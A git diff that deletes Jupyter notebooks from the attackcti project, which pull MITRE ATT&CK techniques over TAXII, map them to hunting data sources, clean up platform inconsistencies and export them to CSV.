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" - ], - "text/plain": [ - " subsets_count\n", - "subsets_name \n", - "command: command execution,process: process cre... 167\n", - "network traffic: network traffic content,networ... 62\n", - "file: file modification,process: process creation 60\n", - "file: file creation,process: process creation 57\n", - "command: command execution,file: file modification 54\n", - "file: file creation,file: file modification 51\n", - "command: command execution,file: file modificat... 47\n", - "command: command execution,process: os api exec... 47\n", - "command: command execution,file: file creation 47\n", - "command: command execution,windows registry: wi... 45\n", - "command: command execution,file: file creation,... 44\n", - "command: command execution,file: file access 42\n", - "process: process creation,windows registry: win... 40\n", - "file: file creation,file: file modification,pro... 40\n", - "command: command execution,process: process cre... 39" - ] - }, - "execution_count": 55, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "subsets_graph" - ] - }, - { - "cell_type": "code", - "execution_count": 56, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 56, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "subsets_graph_2 = pandas.DataFrame({\n", - " 'Data Sources': list(subsets_graph.index),\n", - " 'Count of Techniques': subsets_graph['subsets_count'].tolist()})\n", - "\n", - "bars = alt.Chart(subsets_graph_2).mark_bar().encode(x ='Data Sources', y ='Count of Techniques', color='Data Sources').properties(width=500)\n", - "text = bars.mark_text(align='center',baseline='middle',dx= 0,dy=-5).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Group (Process Monitoring - Process Command-line parameters) is the is the group of data sources with the highest number of techniques. This group of data sources are suggested to hunt 78 techniques" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 17. Let's Split all the Information About Techniques With Data Sources Defined: Matrix, Platform, Tactic and Data Source" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's split all the relevant columns of the dataframe:" - ] - }, - { - "cell_type": "code", - "execution_count": 57, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attackWindowsdefense-evasionCode Signing Policy ModificationT1553.006Windows Registry: Windows Registry Key Modific...
1mitre-attackWindowsdefense-evasionCode Signing Policy ModificationT1553.006Command: Command Execution
2mitre-attackWindowsdefense-evasionCode Signing Policy ModificationT1553.006Process: Process Creation
3mitre-attackmacOSdefense-evasionCode Signing Policy ModificationT1553.006Windows Registry: Windows Registry Key Modific...
4mitre-attackmacOSdefense-evasionCode Signing Policy ModificationT1553.006Command: Command Execution
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic technique \\\n", - "0 mitre-attack Windows defense-evasion Code Signing Policy Modification \n", - "1 mitre-attack Windows defense-evasion Code Signing Policy Modification \n", - "2 mitre-attack Windows defense-evasion Code Signing Policy Modification \n", - "3 mitre-attack macOS defense-evasion Code Signing Policy Modification \n", - "4 mitre-attack macOS defense-evasion Code Signing Policy Modification \n", - "\n", - " technique_id data_sources \n", - "0 T1553.006 Windows Registry: Windows Registry Key Modific... \n", - "1 T1553.006 Command: Command Execution \n", - "2 T1553.006 Process: Process Creation \n", - "3 T1553.006 Windows Registry: Windows Registry Key Modific... \n", - "4 T1553.006 Command: Command Execution " - ] - }, - "execution_count": 57, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_data = techniques_with_data_sources\n", - "\n", - "attributes = ['platform','tactic','data_sources'] # In attributes we are going to indicate the name of the columns that we need to split\n", - "\n", - "for a in attributes:\n", - " s = techniques_data.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", - " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", - " s.name = a\n", - " # We name \"s\" with the same name of \"a\".\n", - " techniques_data=techniques_data.drop(a, axis=1).join(s).reset_index(drop=True)\n", - " # We drop the column \"a\" from \"techniques_data\", and then join \"techniques_data\" with \"s\"\n", - "\n", - "# Let's re-arrange the columns from general to specific\n", - "techniques_data_2=techniques_data.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", - "\n", - "# We are going to edit some names inside the dataframe to improve the consistency:\n", - "techniques_data_3 = techniques_data_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])\n", - "\n", - "techniques_data_3.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Do you remember data sources names with a reference to Windows? After splitting the dataframe by platforms, tactics and data sources, are there any macOC or linux techniques that consider windows data sources? Let's identify those rows:" - ] - }, - { - "cell_type": "code", - "execution_count": 58, - "metadata": {}, - "outputs": [], - "source": [ - "# After splitting the rows of the dataframe, there are some values that relate windows data sources with platforms like linux and masOS.\n", - "# We need to identify those rows\n", - "conditions = [(techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('windows',case=False)== True),\n", - " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('windows',case=False)== True),\n", - " (techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('powershell',case=False)== True),\n", - " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('powershell',case=False)== True),\n", - " (techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('wmi',case=False)== True),\n", - " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('wmi',case=False)== True)]\n", - "# In conditions we indicate a logical test\n", - "\n", - "choices = ['NO OK','NO OK','NO OK','NO OK','NO OK','NO OK']\n", - "# In choices, we indicate the result when the logical test is true\n", - "\n", - "techniques_data_3['Validation'] = np.select(conditions,choices,default='OK')\n", - "# We add a column \"Validation\" to \"techniques_data_3\" with the result of the logical test. The default value is going to be \"OK\"" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "What is the inconsistent data?" - ] - }, - { - "cell_type": "code", - "execution_count": 59, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sourcesValidation
3mitre-attackmacOSdefense-evasionCode Signing Policy ModificationT1553.006Windows Registry: Windows Registry Key Modific...NO OK
307mitre-attackLinuxdefense-evasionRun Virtual InstanceT1564.006Windows Registry: Windows Registry Key Modific...NO OK
312mitre-attackmacOSdefense-evasionRun Virtual InstanceT1564.006Windows Registry: Windows Registry Key Modific...NO OK
318mitre-attackLinuxdefense-evasionHidden File SystemT1564.005Windows Registry: Windows Registry Key Modific...NO OK
321mitre-attackmacOSdefense-evasionHidden File SystemT1564.005Windows Registry: Windows Registry Key Modific...NO OK
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic technique \\\n", - "3 mitre-attack macOS defense-evasion Code Signing Policy Modification \n", - "307 mitre-attack Linux defense-evasion Run Virtual Instance \n", - "312 mitre-attack macOS defense-evasion Run Virtual Instance \n", - "318 mitre-attack Linux defense-evasion Hidden File System \n", - "321 mitre-attack macOS defense-evasion Hidden File System \n", - "\n", - " technique_id data_sources Validation \n", - "3 T1553.006 Windows Registry: Windows Registry Key Modific... NO OK \n", - "307 T1564.006 Windows Registry: Windows Registry Key Modific... NO OK \n", - "312 T1564.006 Windows Registry: Windows Registry Key Modific... NO OK \n", - "318 T1564.005 Windows Registry: Windows Registry Key Modific... NO OK \n", - "321 T1564.005 Windows Registry: Windows Registry Key Modific... NO OK " - ] - }, - "execution_count": 59, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_analysis_data_no_ok = techniques_data_3[techniques_data_3.Validation == 'NO OK']\n", - "# Finally, we are filtering all the values with NO OK\n", - "\n", - "techniques_analysis_data_no_ok.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 60, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "There are 100 rows with inconsistent data\n" - ] - } - ], - "source": [ - "print('There are ',len(techniques_analysis_data_no_ok),' rows with inconsistent data')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "What is the impact of this inconsistent data from a platform and data sources perspective?" - ] - }, - { - "cell_type": "code", - "execution_count": 61, - "metadata": {}, - "outputs": [], - "source": [ - "df = techniques_with_data_sources\n", - "\n", - "attributes = ['platform','data_sources']\n", - "\n", - "for a in attributes:\n", - " s = df.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", - " s.name = a\n", - " df=df.drop(a, axis=1).join(s).reset_index(drop=True)\n", - " \n", - "df_2=df.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", - "df_3 = df_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])\n", - "\n", - "conditions = [(df_3['data_sources'].str.contains('windows',case=False)== True),\n", - " (df_3['data_sources'].str.contains('powershell',case=False)== True),\n", - " (df_3['data_sources'].str.contains('wmi',case=False)== True)]\n", - "\n", - "choices = ['Windows','Windows','Windows']\n", - "\n", - "df_3['Validation'] = np.select(conditions,choices,default='Other')\n", - "df_3['Num_Tech'] = 1\n", - "df_4 = df_3[df_3.Validation == 'Windows']\n", - "df_5 = df_4.groupby(['data_sources','platform'])['technique'].nunique()\n", - "df_6 = df_5.to_frame().reset_index()" - ] - }, - { - "cell_type": "code", - "execution_count": 62, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.Chart(...)" - ] - }, - "execution_count": 62, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "alt.Chart(df_6).mark_bar().encode(x=alt.X('technique', stack=\"normalize\"), y='data_sources', color='platform').properties(height=200)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "There are techniques that consider Windows Error Reporting, Windows Registry, and Windows event logs as data sources and they also consider platforms like Linux and masOS. We do not need to consider this rows because those data sources can only be managed at a Windows environment. These are the techniques that we should not consider in our data base:" - ] - }, - { - "cell_type": "code", - "execution_count": 63, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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techniquedata_sources
2956Event Triggered ExecutionWMI: WMI Creation
5094OS Credential DumpingWindows Registry: Windows Registry Key Access
2415Unsecured CredentialsWindows Registry: Windows Registry Key Access
4024Browser ExtensionsWindows Registry: Windows Registry Key Creation
3155Create or Modify System ProcessWindows Registry: Windows Registry Key Creation
2892Boot or Logon Autostart ExecutionWindows Registry: Windows Registry Key Creation
4851Boot or Logon Initialization ScriptsWindows Registry: Windows Registry Key Creation
2326Subvert Trust ControlsWindows Registry: Windows Registry Key Creation
1533Install Root CertificateWindows Registry: Windows Registry Key Creation
4499Indicator Removal on HostWindows Registry: Windows Registry Key Deletion
1573Disable or Modify ToolsWindows Registry: Windows Registry Key Deletion
1630Impair DefensesWindows Registry: Windows Registry Key Deletion
1534Install Root CertificateWindows Registry: Windows Registry Key Modific...
4604Input CaptureWindows Registry: Windows Registry Key Modific...
4498Indicator Removal on HostWindows Registry: Windows Registry Key Modific...
4196Two-Factor Authentication InterceptionWindows Registry: Windows Registry Key Modific...
307Run Virtual InstanceWindows Registry: Windows Registry Key Modific...
3701Service StopWindows Registry: Windows Registry Key Modific...
3683Inhibit System RecoveryWindows Registry: Windows Registry Key Modific...
3156Create or Modify System ProcessWindows Registry: Windows Registry Key Modific...
318Hidden File SystemWindows Registry: Windows Registry Key Modific...
388Indicator BlockingWindows Registry: Windows Registry Key Modific...
2952Event Triggered ExecutionWindows Registry: Windows Registry Key Modific...
912Hijack Execution FlowWindows Registry: Windows Registry Key Modific...
2577Abuse Elevation Control MechanismWindows Registry: Windows Registry Key Modific...
1052System ServicesWindows Registry: Windows Registry Key Modific...
2327Subvert Trust ControlsWindows Registry: Windows Registry Key Modific...
1365Hide ArtifactsWindows Registry: Windows Registry Key Modific...
2109KeyloggingWindows Registry: Windows Registry Key Modific...
2032Modify Authentication ProcessWindows Registry: Windows Registry Key Modific...
1971Man-in-the-MiddleWindows Registry: Windows Registry Key Modific...
1629Impair DefensesWindows Registry: Windows Registry Key Modific...
1572Disable or Modify ToolsWindows Registry: Windows Registry Key Modific...
1546Disable or Modify System FirewallWindows Registry: Windows Registry Key Modific...
2893Boot or Logon Autostart ExecutionWindows Registry: Windows Registry Key Modific...
3Code Signing Policy ModificationWindows Registry: Windows Registry Key Modific...
\n", - "
" - ], - "text/plain": [ - " technique \\\n", - "2956 Event Triggered Execution \n", - "5094 OS Credential Dumping \n", - "2415 Unsecured Credentials \n", - "4024 Browser Extensions \n", - "3155 Create or Modify System Process \n", - "2892 Boot or Logon Autostart Execution \n", - "4851 Boot or Logon Initialization Scripts \n", - "2326 Subvert Trust Controls \n", - "1533 Install Root Certificate \n", - "4499 Indicator Removal on Host \n", - "1573 Disable or Modify Tools \n", - "1630 Impair Defenses \n", - "1534 Install Root Certificate \n", - "4604 Input Capture \n", - "4498 Indicator Removal on Host \n", - "4196 Two-Factor Authentication Interception \n", - "307 Run Virtual Instance \n", - "3701 Service Stop \n", - "3683 Inhibit System Recovery \n", - "3156 Create or Modify System Process \n", - "318 Hidden File System \n", - "388 Indicator Blocking \n", - "2952 Event Triggered Execution \n", - "912 Hijack Execution Flow \n", - "2577 Abuse Elevation Control Mechanism \n", - "1052 System Services \n", - "2327 Subvert Trust Controls \n", - "1365 Hide Artifacts \n", - "2109 Keylogging \n", - "2032 Modify Authentication Process \n", - "1971 Man-in-the-Middle \n", - "1629 Impair Defenses \n", - "1572 Disable or Modify Tools \n", - "1546 Disable or Modify System Firewall \n", - "2893 Boot or Logon Autostart Execution \n", - "3 Code Signing Policy Modification \n", - "\n", - " data_sources \n", - "2956 WMI: WMI Creation \n", - "5094 Windows Registry: Windows Registry Key Access \n", - "2415 Windows Registry: Windows Registry Key Access \n", - "4024 Windows Registry: Windows Registry Key Creation \n", - "3155 Windows Registry: Windows Registry Key Creation \n", - "2892 Windows Registry: Windows Registry Key Creation \n", - "4851 Windows Registry: Windows Registry Key Creation \n", - "2326 Windows Registry: Windows Registry Key Creation \n", - "1533 Windows Registry: Windows Registry Key Creation \n", - "4499 Windows Registry: Windows Registry Key Deletion \n", - "1573 Windows Registry: Windows Registry Key Deletion \n", - "1630 Windows Registry: Windows Registry Key Deletion \n", - "1534 Windows Registry: Windows Registry Key Modific... \n", - "4604 Windows Registry: Windows Registry Key Modific... \n", - "4498 Windows Registry: Windows Registry Key Modific... \n", - "4196 Windows Registry: Windows Registry Key Modific... \n", - "307 Windows Registry: Windows Registry Key Modific... \n", - "3701 Windows Registry: Windows Registry Key Modific... \n", - "3683 Windows Registry: Windows Registry Key Modific... \n", - "3156 Windows Registry: Windows Registry Key Modific... \n", - "318 Windows Registry: Windows Registry Key Modific... \n", - "388 Windows Registry: Windows Registry Key Modific... \n", - "2952 Windows Registry: Windows Registry Key Modific... \n", - "912 Windows Registry: Windows Registry Key Modific... \n", - "2577 Windows Registry: Windows Registry Key Modific... \n", - "1052 Windows Registry: Windows Registry Key Modific... \n", - "2327 Windows Registry: Windows Registry Key Modific... \n", - "1365 Windows Registry: Windows Registry Key Modific... \n", - "2109 Windows Registry: Windows Registry Key Modific... \n", - "2032 Windows Registry: Windows Registry Key Modific... \n", - "1971 Windows Registry: Windows Registry Key Modific... \n", - "1629 Windows Registry: Windows Registry Key Modific... \n", - "1572 Windows Registry: Windows Registry Key Modific... \n", - "1546 Windows Registry: Windows Registry Key Modific... \n", - "2893 Windows Registry: Windows Registry Key Modific... \n", - "3 Windows Registry: Windows Registry Key Modific... " - ] - }, - "execution_count": 63, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_analysis_data_no_ok[['technique','data_sources']].drop_duplicates().sort_values(by='data_sources',ascending=True)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Without considering this inconsistent data, the final dataframe is:" - ] - }, - { - "cell_type": "code", - "execution_count": 64, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
matrixplatformtactictechniquetechnique_iddata_sourcesValidation
0mitre-attackWindowsdefense-evasionCode Signing Policy ModificationT1553.006Windows Registry: Windows Registry Key Modific...OK
1mitre-attackWindowsdefense-evasionCode Signing Policy ModificationT1553.006Command: Command ExecutionOK
2mitre-attackWindowsdefense-evasionCode Signing Policy ModificationT1553.006Process: Process CreationOK
4mitre-attackmacOSdefense-evasionCode Signing Policy ModificationT1553.006Command: Command ExecutionOK
5mitre-attackmacOSdefense-evasionCode Signing Policy ModificationT1553.006Process: Process CreationOK
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic technique \\\n", - "0 mitre-attack Windows defense-evasion Code Signing Policy Modification \n", - "1 mitre-attack Windows defense-evasion Code Signing Policy Modification \n", - "2 mitre-attack Windows defense-evasion Code Signing Policy Modification \n", - "4 mitre-attack macOS defense-evasion Code Signing Policy Modification \n", - "5 mitre-attack macOS defense-evasion Code Signing Policy Modification \n", - "\n", - " technique_id data_sources Validation \n", - "0 T1553.006 Windows Registry: Windows Registry Key Modific... OK \n", - "1 T1553.006 Command: Command Execution OK \n", - "2 T1553.006 Process: Process Creation OK \n", - "4 T1553.006 Command: Command Execution OK \n", - "5 T1553.006 Process: Process Creation OK " - ] - }, - "execution_count": 64, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_analysis_data_ok = techniques_data_3[techniques_data_3.Validation == 'OK']\n", - "techniques_analysis_data_ok.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 65, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "There are 5693 rows of data that you can play with\n" - ] - } - ], - "source": [ - "print('There are ',len(techniques_analysis_data_ok),' rows of data that you can play with')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 18. Getting Techniques by Data Sources" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "This function gets techniques' information that includes specific data sources" - ] - }, - { - "cell_type": "code", - "execution_count": 66, - "metadata": {}, - "outputs": [], - "source": [ - "data_source = 'PROCESS MONITORING'" - ] - }, - { - "cell_type": "code", - "execution_count": 67, - "metadata": {}, - "outputs": [], - "source": [ - "results = lift.get_techniques_by_datasources(data_source)" - ] - }, - { - "cell_type": "code", - "execution_count": 68, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "21" - ] - }, - "execution_count": 68, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "len(results)" - ] - }, - { - "cell_type": "code", - "execution_count": 69, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "list" - ] - }, - "execution_count": 69, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "type(results)" - ] - }, - { - "cell_type": "code", - "execution_count": 70, - "metadata": {}, - "outputs": [], - "source": [ - "results2 = lift.get_techniques_by_datasources('pRoceSS MoniTorinG','process commAnd-linE parameters')" - ] - }, - { - "cell_type": "code", - "execution_count": 71, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "22" - ] - }, - "execution_count": 71, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "len(results2)" - ] - }, - { - "cell_type": "code", - "execution_count": 72, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AttackPattern(type='attack-pattern', id='attack-pattern--d67adac8-e3b9-44f9-9e6d-6c2a7d69dbe4', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-05-21T17:43:26.506Z', modified='2020-05-21T17:43:26.506Z', name='Connection Proxy', description='Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications.\\n\\nThe definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\\n\\nThe network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy)\\n\\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='command-and-control-ics')], external_references=[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0884', external_id='T0884'), ExternalReference(source_name='EAttack Connection Proxy', description='Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018.', url='https://attack.mitre.org/wiki/Technique/T1090'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Process use of network', 'Process monitoring', 'Packet capture', 'Netflow/Enclave netflow', 'Network protocol analysis'], x_mitre_platforms=['Windows'])" - ] - }, - "execution_count": 72, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "results2[1]" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} \ No newline at end of file diff --git a/docs/playground/Export_All_Techniques.ipynb b/docs/playground/Export_All_Techniques.ipynb deleted file mode 100644 index b04a42a..0000000 --- a/docs/playground/Export_All_Techniques.ipynb +++ /dev/null @@ -1,150 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Export All Techniques" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client\n", - "import pandas as pd" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Initialize Attack client" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "lift = attack_client()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get All Techniques STIX Format" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "916" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "all_techniques = lift.get_techniques()\n", - "all_techniques = lift.remove_revoked(all_techniques)\n", - "len(all_techniques)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Export CSV File" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_df = pd.json_normalize(all_techniques)\n", - "techniques_df.to_csv('all_techniques_stix.csv', index=False)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get All Techniques Non-STIX Format" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "916" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "all_techniques = lift.get_techniques(stix_format=False)\n", - "all_techniques = lift.remove_revoked(all_techniques)\n", - "len(all_techniques)" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_df = pd.json_normalize(all_techniques)\n", - "techniques_df.to_csv('all_techniques_non_stix.csv', index=False)" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} \ No newline at end of file diff --git a/docs/playground/Usage_Basics.ipynb b/docs/playground/Usage_Basics.ipynb deleted file mode 100644 index e13ff14..0000000 --- a/docs/playground/Usage_Basics.ipynb +++ /dev/null @@ -1,8081 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Back to the Basics\n", - "------------------" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import ATTACK API Client" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Import Extra Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "from pandas import *\n", - "import json" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "'1.1.2'" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "pandas.__version__" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Initialize ATT&CK Client Variable" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [], - "source": [ - "lift = attack_client()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## **Collect (Enterprise ATT&CK, Pre-ATT&CK & Mobile ATT&CK)**\n", - "* I usually collect all the stix object types available from all the ATT&CK Matrices first when I want to analyze ATT&CK's data.\n", - "* In this section, we will collect everything from Enterprise ATT&CK, PRE-ATT&CK and Mobile ATT&CK via three functions that query ATT&CK content available in STIX™ 2.0 format via its own public TAXII™ 2.0 server:\n", - " * get_enterprise()\n", - " * get_pre()\n", - " * get_mobile()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Collect ALL Enterprise ATT&CK (TAXII)**" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 3.28 s, sys: 127 ms, total: 3.41 s\n", - "Wall time: 7.96 s\n" - ] - } - ], - "source": [ - "%time all_enterprise = lift.get_enterprise()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Collect ALL PRE-ATT&CK (TAXII)**" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "/usr/local/lib/python3.8/site-packages/attackcti/attack_api.py:426: UserWarning: PRE ATT&CK is deprecated. It will be removed in future versions. Consider adjusting your application\n", - " warnings.warn(\"PRE ATT&CK is deprecated. It will be removed in future versions. Consider adjusting your application\")\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 110 ms, sys: 7.01 ms, total: 117 ms\n", - "Wall time: 392 ms\n" - ] - } - ], - "source": [ - "%time all_pre = lift.get_pre()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "**Collect ALL Mobile ATT&CK (TAXII)**" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 408 ms, sys: 12.7 ms, total: 421 ms\n", - "Wall time: 1.05 s\n" - ] - } - ], - "source": [ - "%time all_mobile = lift.get_mobile()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## **Collect ALL (It runs All 3 previous functions and collects all the results)**" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "The **get_stix_objects()** function returns a dictionary with all the stix object types from all matrices:\n", - "* techniques\n", - "* mitigations\n", - "* groups\n", - "* malware\n", - "* tools\n", - "* relationships" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "CPU times: user 3min 58s, sys: 713 ms, total: 3min 59s\n", - "Wall time: 4min 5s\n" - ] - } - ], - "source": [ - "%time all_attack = lift.get_stix_objects()" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "dict" - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "type(all_attack)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Get All Techniques from ATT&CK Results (Locally - STIX format)\n", - "* The results of this function shows every single technique across the whole ATT&CK framework without their mitigations information" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "name": 